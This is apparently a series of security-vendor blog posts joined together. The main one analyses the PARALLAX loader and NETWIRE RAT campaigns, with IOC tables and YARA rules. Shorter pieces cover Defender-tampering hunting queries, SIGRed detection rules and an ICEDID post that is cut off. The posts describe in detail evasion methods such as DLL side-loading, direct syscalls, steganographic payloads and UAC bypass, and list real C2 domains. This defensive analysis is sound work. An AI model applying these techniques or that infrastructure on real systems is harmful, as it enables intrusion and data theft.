The following existing public detection rules can also be used to detect some of the employed techniques:

Hunting queries

Detect attempt to tamper with Windows defender settings via NirSoft AdvancedRun executed by the Stage 3 injector:

Detect attempts to tamper with Windows Defender

process where event.type == "start" and
process.pe.original_file_name == "AdvancedRun.exe" and
process.command_line :
   ("*rmdir*Windows Defender*Recurse*",
    "*stop WinDefend*")

Masquerade as InstallUtil via code injection:

Identifies code injection with InstallUtil

process where event.type == "start" and
process.pe.original_file_name == "InstallUtil.exe" and
not process.executable : "?:\\Windows\\Microsoft.NET\\*"

MITRE ATT&CK

Summary

These targeted attacks on Ukraine using destructive malware match a similar pattern observed in the past such as NotPetya. By leveraging different malware components to wipe machines and corrupt files, it’s apparent there was no intent to recover any funds, but likely a technique used to sow chaos and doubt into Ukraine’s stability.

As these events are still ongoing, we wanted to release some initial analysis and observations from our perspective. We also wanted to highlight the prevention capabilities of Elastic Security across each stage of this attack, available to everyone today.

Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free 14-day trial of Elastic Cloud.

Indicators

| Indicator | Type | Note | | ---------------------------------------------------------------- | ------ | ---------------------------- | | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 | SHA256 | Stage1.exe (MBR wiper) | | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 | SHA256 | Stage2.exe (Downloader) | | 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 | SHA256 | Stage3 (Injector - original) | | 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d | SHA256 | Stage3 (Injector - fixed) | | 34CA75A8C190F20B8A7596AFEB255F2228CB2467BD210B2637965B61AC7EA907 | SHA256 | Stage4 (File Corruptor) |

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Exploring the REF2731 Intrusion Set

Salim Bitam,Daniel Stepanic,Seth Goodwin,Andrew Pease — Tue, 06 Dec 2022 00:00:00 GMT

Key Takeaways

PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.
The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.
Shared infrastructure can be used to stitch campaigns and intrusion sets together.

Preamble

The Elastic Security Labs team has been tracking REF2731, an intrusion set involving the PARALLAX loader which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.

PARALLAX is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. NETWIRE is a mature and cross-platform RAT that was first observed in 2012

In this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.

Execution Flow (PARALLAX loader)

The Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the PARALLAX loader. PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.

On July 27, 2022, Microsoft began rolling out a change to Office documents that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.

High-level summary of the execution flow:

An email is sent to a victim with a macro-enabled Microsoft Word document attachment.
The macro downloads malicious files used for DLL-side loading and injection.
The Microsoft developer tool ( MsiDb.exe ) sideloads the malicious ( msi.dll ).
This malicious DLL drops and decrypts a WAV file ( cs16.wav ) before injecting the contents (shellcode) into cmd.exe.
The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( paper.png ) and inject into cmd.exe.
A scheduled task is used to establish persistence for the PARALLAX RAT.
The NETWIRE payload is then executed and sets up its own persistence mechanism.

First Stage (lure/macro)

The first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.

In this lure, we observed legitimate code lifted from the GLPK (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.

This approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.

The macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).

The macro then uses the CreateObject function to create the required objects and download each of the malware components, saving them to the AppData directory of the current user.

It then executes AppData\MsiDb.exe through the created wscript.shell object.

For this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:

| Filename | Description | | --------- | ------------------------------------------------------------------------------------------------------------------------------- | | MsiDb.exe | Legitimate Microsoft development application used to import/export database tables and streams | | msi.dll | Malicious DLL used for side-loading | | cs16.wav | XOR encrypted shellcode | | paper.png | Obfuscated NETWIRE and additional PARALLAX loader stager | | cs16.cfg | Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server |

Second Stage (MsiDb.exe)

One of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [1, 2]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( MsiDb.exe ) to load the previously downloaded malicious library ( msi.dll ).

When the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.

When ( MsiDb.exe ) sideloads the malicious ( msi.dll ) module, we can see the difference between the patched and unpatched version of msi.dll.

During this loading stage, the malicious code is heavily obfuscated and leverages dynamic API resolution to bypass static analysis tools and processes. It performs this using two functions:

One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.
Another function is used to take the address of the library and the hash of the API name.

The malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( MsiDb.exe ), if it doesn’t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze msi.dll in isolation by executing it with other common applications such as rundll32.exe or regsvr32.exe.

Next, the malware will load cs16.wav and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).

The malware will then execute the shellcode inside the decrypted WAV file.

Third Stage (shellcode)

To evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first mapping a file view of the Windows ntdll.dll library from the System directory.

It then retrieves the API offset by subtracting the API address from the loaded base address of the loaded ntdll.dll , then finally it will use the offset from the mapped ntdll.dll and extract the syscall number.

After this, the loader uses the Heaven’s Gate technique and performs injection in the suspended cmd.exe process leveraging native Windows ZwAllocateVirtualMemory , ZwWriteVirtualMemory, and ZwResumeThread API functions.

Fourth Stage

One interesting technique observed during this stage is through the use of a dropped file ( cs16.cfg ). The file is a legitimate Python header file and is prepended with the next stage file name ( paper.png ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.

If the first string of ( cs16.cfg ) points to a hosted file, it uses the IBackgroundCopyManager Component Object Model (COM) interface to download a PNG file and store it on disk ( paper.png in our example).

The malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.

The malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the LZMA algorithm.

Next, it creates a suspended cmd.exe process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.

Below is the memory regions showing the injected process hosting the NETWIRE payload:

Fifth Stage

The fifth and final stage of PARALLAX Loader performs a UAC bypass through CMSTPLUA COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run Msidb.exe using Component Object Model (COM).

Campaign Analysis

Throughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.

The intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.

In the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.

This section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\> macro -\> defense evasion techniques -\> PARALLAX loader -\> NETWIRE RAT), we’ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.

While we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [1, 2] and the DarkCasino campaign.

Campaign 1

Overview

This campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( msi.dll ) .

Lure Documents

The three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word document header of Как я искал Гантмахера (loosely translated to: “How I searched for Gantmakher”). Vsevolod Gantmakher was a Russian physicist.

Extracting the metadata for all three documents, we can see their relationships based on several fields; most notably:

The identical HeadingPairs (the names of the Word document header).
The identical CreationDate dates.
The identical LastPrinted dates.
The ModifyDate dates are all within 14-minutes.

The H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.

Macro

The macro downloads five files, detailed in the Execution Flow section above (cs16.wav, msi.dll , MsiDb.exe , paper.png , and cs16.cfg ), from a different domain for each lure document.

Network Infrastructure

Campaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the “Execution Flow” section above) and three domains used for the NETWIRE RAT C2.

The six domains are:

digitialrotprevention[.]com - macro-connected.
internationalmusicservices[.]com - macro-connected.
globalartisticservices[.]com - macro-connected.
ohioohioa[.]com - NETWIRE C2.
ywiyr[.]com - NETWIRE C2.
septton[.]com - NETWIRE C2.

The macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.

In the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and rus fam , respectively. As of this writing, these domains have been suspended.

Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.

Once the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.

While ohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.

Campaign 1 Indicators

| Name | STIX 2.1 Indicator Type | Identifier | | ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- | | bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256 | Brian_Tax_Docs.doc lure document | | d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document | | 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256 | All Docs.doc lure document | | 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256 | msi.dll PARALLAX loader / NETWIRE | | 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256 | cs16.wav (shellcode) | | 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256 | cs16.cfg (config for PNG stage) | | 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256 | paper.png (stager for NETWIRE) | | globalartisticservices[.]com | domain-name | PARALLAX loader domain | | DigitalRotPrevention[.]com | domain-name | PARALLAX loader domain | | InternationalMusicServices[.]com | domain-name | PARALLAX loader domain | | russnet123@protonmail[.]com | email-addr | PARALLAX loader domain registration email address | | chisholm.i@aol[.]com | email-addr | NETWIRE C2 domain registration email address | | ywiry[.]com | domain-name | NETWIRE C2 domain | | ohioohioa[.]com | domain-name | NETWIRE C2 domain | | septton[.]com | domain-name | NETWIRE C2 domain |

Campaign 2

Overview

This campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( msvcr100.dll ).

Lure Documents

The lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the LastModifiedBy field and the macro network infrastructure.

The document name was also related to 2021 United States tax filings.

Macro

Like Campaign 1, the macro downloads several files. Beyond the DLL file ( msvcr100.dll ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they (java.exe, Fruit.png , idea.cfg , and idea.mp3 ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.

Additional details about the Campaign 1 and Campaign 2 file relationships are in the “Campaign intersections” section below.

Network Infrastructure

Campaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the “Execution Flow” section above). Additionally, there was one domain used for the NETWIRE RAT C2.

The two domains are:

solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected
ohioohioa[.]com - NETWIRE C2

Once the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.

Campaign 2 Indicators

| Name | STIX 2.1 Indicator Type | Identifier | | ---------------------------------------------------------------- | ----------------------- | ------------------------------------------ | | solro14.s3.ap-northeast-3.amazonaws[.]com | domain-name | PARALLAX loader domain | | 32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35 | SHA-256 | 2021-Individual-Tax-Form.doc lure document | | 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256 | msvcr100.dll PARALLAX loader / NETWIRE | | ohioohioa[.]com | domain-name | NETWIRE C2 domain |

Campaign Intersections

Campaign 1 and Campaign 2 intersect in several ways.

As illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.

The Pyramid of Pain

In 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the Pyramid of Pain. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.

The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict.

When analyzing the two campaigns, we can put the Pyramid of Pain into action.

Hash values - each lure document had a unique hash.
IP addresses - each network connection leveraged a different IP address.
Domain names - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).
Network/host artifacts
Identically-named host artifacts observed in Campaign 1.
Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.
Artifact bundles from both campaigns include similarly formatted and functionally identical files.
Tools - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.
TTPs - complex and defensive five-staged execution chain.

Looking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.

In both campaigns, we can see a PE file ( MsiDb.exe and java.exe ), a DLL file ( msi.dll and msvcr100.dll ), a PNG file ( paper.png and Fruit.png ), an audio-format named file ( cs16.wav and idea.mp3 ), and a configuration file ( cs16.cfg and idea.cfg ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( cs16.wav / cs16.cfg and idea.mp3 / idea.cfg ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.

The SEPTTON Domain

As reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.

An exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.

It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.

!septton[.]com file relationships

Looking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.

!septton[.]com domain registration

In the next two sections, we’ll discuss the resource development for domains used in campaigns.

marketforce666

Searching for marketforce666 in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.

When expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.

!Domains registered to marketforce666@yandex[.]com

gaza666

Looking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of gaza666 from the online forum and marketplace, Infected Zone.

On this forum, the user gaza666 attempted to purchase (https://infected-zone[.]com/threads/2814/) an “Office 365 Complete Package” from the online seller rzkyo. gaza666 and the seller rzkyo engaged in a dispute on the forum where gaza666 did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three nonfunctional and non-Office 365 Phillipino accounts. The seller, rzkyo , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.

!Invoice where gaza666 is linked to chisholm.i@aol[.]com

The results of the dispute were not in the forum, but there were several screenshots where rzkyo showed gaza666 and the moderators that the services they sold were functional.

While it is unknown if the infrastructure above that gaza666 attempted to purchase from rzkyo was used in our observed campaigns (or ever used at all), but gaza666 is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 1.

marketforce666 (marketforce666@yandex[.]com) and gaza666 (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The 666 term appended to marketforce and gaza could be another indicator of their relationship, but this could not be confirmed.

Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Observed Adversary Tactics and Techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Detection

Detection Logic

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.

Behavioral Rules

Detection Rules

Signatures

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_Parallax_1 {
    meta:
        author = “Elastic Security”
        creation_date = "2022-09-05"
        last_modified = "2022-09-15"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Parallax"
        threat_name = "Windows.Trojan.Parallax"
    strings:
        $COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
        $png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
        $config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
        $winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
    condition:
        $config_func or $winnet_function or $COM_png or $png_parse
}

rule Windows_Trojan_Parallax_2 {
    meta:
        author = “Elastic Security”
        creation_date = "2022-09-08"
        last_modified = "2022-09-08"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Parallax"
        threat_name = "Windows.Trojan.Parallax"
    strings:
        $parallax_payload_strings_0 = "[Ctrl +" ascii wide fullword
        $parallax_payload_strings_1 = "[Ctrl]" ascii wide fullword
        $parallax_payload_strings_2 = "Clipboard Start" ascii wide fullword
        $parallax_payload_strings_3 = "[Clipboard End]" ascii wide fullword
        $parallax_payload_strings_4 = "UN.vbs" ascii wide fullword
        $parallax_payload_strings_5 = "lt +" ascii wide fullword
        $parallax_payload_strings_6 = "lt]" ascii wide fullword
        $parallax_payload_strings_7 = ".DeleteFile(Wscript.ScriptFullName)" ascii wide fullword
        $parallax_payload_strings_8 = ".DeleteFolder" ascii wide fullword
        $parallax_payload_strings_9 = ".DeleteFile " ascii wide fullword
        $parallax_payload_strings_10 = "Scripting.FileSystemObject" ascii wide fullword
        $parallax_payload_strings_11 = "On Error Resume Next" ascii wide fullword
        $parallax_payload_strings_12 = "= CreateObject" ascii wide fullword
        $parallax_payload_strings_13 = ".FileExists" ascii wide fullword
    condition:
        7 of ($parallax_payload_strings_*)
}

PARALLAX Payload Extractor

Automating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.

Our extractor takes either a directory of samples with -d option or -f for a single sample, You can use the -o switch to set the output directory of the payloads.

To enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed here.

Conclusion

In the above research, we have analyzed the two campaigns that we’ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.

We also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.

References

The following were referenced throughout the above research:

Indicators

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

| Name | STIX 2.1 Indicator Type | Identifier | | ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- | | bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256 | Brian_Tax_Docs.doc lure document | | d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document | | 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256 | All Docs.doc lure document | | 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256 | msi.dll PARALLAX loader / NETWIRE | | 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256 | cs16.wav (shellcode) | | 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256 | cs16.cfg (config for PNG stage) | | 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256 | paper.png (stager for NETWIRE) | | 321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c | SHA-256 | 2021-EXTENSION.doc lure document | | 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256 | msvcr100.dll PARALLAX loader / NETWIRE | | globalartisticservices[.]com | domain-name | PARALLAX loader domain | | DigitalRotPrevention[.]com | domain-name | PARALLAX loader domain | | InternationalMusicServices[.]com | domain-name | PARALLAX loader domain | | ywiry[.]com | domain-name | NETWIRE C2 domain | | ohioohioa[.]com | domain-name | NETWIRE C2 domain | | septton[.]com | domain-name | NETWIRE C2 domain | | solro14.s3.ap-northeast-3.amazonaws[.]com | domain-name | PARALLAX loader domain | | mikemikemic[.]com | domain-name | Domains registered by marketforce666@yandex[.]com | | ppl-biz[.]com | domain-name | Domains registered by marketforce666@yandex[.]com | | opnarchitect[.]net | domain-name | Domains registered by marketforce666@yandex[.]com | | micsupportcenter[.]com | domain-name | PARALLAX loader domain | | russnet123@protonmail[.]com | email-addr | PARALLAX loader domain registration email address | | chisholm.i@aol[.]com | email-addr | NETWIRE C2 domain registration email address |

Detection rules for SIGRed vulnerability

Seth Goodwin,Daniel Stepanic,Justin Ibarra,Andrew Pease — Tue, 22 Nov 2022 00:00:00 GMT

To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as Endpoint security, Winlogbeat, Packetbeat, or network security monitoring (NSM) platforms such as Zeek or Suricata.

Executive summary

On July 14, 2020, Microsoft released a security update related to a remote code execution (RCE) and denial of service (DoS) vulnerability (CVE-2020-1350) in Windows DNS Server (2003 - 2019).

Summary

National Institute of Standards and Technology (NIST) assigned a critical CVSS scoreof 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction
The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported
The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services
The vulnerability was reported by Check Point Research and given name “SIGRed”

Timeline of events

May 19, 2020 - Initial Check Point disclosure sent to Microsoft
June 18, 2020 - CVE-2020-1350 issued to vulnerability
July 14, 2020 - Microsoft released patch
July 16, 2020 - First public DoS proof-of-concept published
July 17, 2020 - Elastic releases SIGRed public detection logic

Impact

All systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.

Of note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.

The SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT&CK® framework:

Tactics

Techniques

Detection

Detection logic

On June 30, 2020, The Elastic Security Intelligence & Analytics Team released our Detection Rules Repository to the public. Expanding on the rules that were released with that post, we’ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:

Unusual child of dns.exe - Kibana Query Language (KQL)

The detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.

event.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe

Figure 1 - Unusual child process of dns.exe

Unusual file operations of dns.exe (KQL)

The detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.

event.category:file and process.name:dns.exe and not file.name:dns.log

Figure 2 - Unusual file modification by dns.exe

Network (Packetbeat and Filebeat with the Zeek or Suricata modules)

As detailed in the Check Point SIGRed research, abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).

event.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes>60000

Figure 3 - Abnormally large DNS response (KQL)

Defensive recommendations

Review and implement the above detection logic within your environment using technology such as Endpoint security, Winlogbeat, Packetbeat, or network security monitoring (NSM) platforms such as Zeek or Suricata.
Use the included network rule to identify large DNS queries and responses from internal and external populations.
Ensure that you have deployed the latest Microsoft Security Update (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft released a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied.
Maintain backups of your critical systems to aid in quick recovery.
Perform routine vulnerability scans of your systems and patch identified vulnerabilities.

References

ICEDIDs network infrastructure is alive and well

Daniel Stepanic,Seth Goodwin,Derek Ditch,Andrew Pease — Mon, 31 Oct 2022 00:00:00 GMT

Key takeaways

ICEDID is a full-featured trojan that uses TLS certificate pinning to validate C2 infrastructure.
While the trojan has been tracked for several years, it continues to operate relatively unimpeded.
A combination of open source collection tools can be used to track the C2 infrastructure.

For information on the ICEDID configuration extractor and C2 infrastructure validator, check out our posts detailing this:

ICEDID configuration extractor

ICEDID network infrastructure checking utility

Preamble

ICEDID, also known as Bokbot, is a modular banking trojan first discovered in 2017 and has remained active over the last several years. It has been recently known more for its ability to load secondary payloads such as post-compromise frameworks like Cobalt Strike, and has been linked to ransomware activity.

ICEDID is implemented through a multistage process with different components. Initial access is typically gained through phishing campaigns leveraging malicious documents or file attachments.

We’ll be discussing aspects of ICEDID in the next couple of sections as well as exploring our analysis technique in tracking ICEDID infrastructure.

Initial access
Command and control
Persistence
Core functionality
Network infrastructure

As mentioned in the Preamble, ICEDID has been around for many years and has a rich feature set. As the malware has been analyzed multiple times over the years, we are going to focus on some of the more interesting features.

Initial access

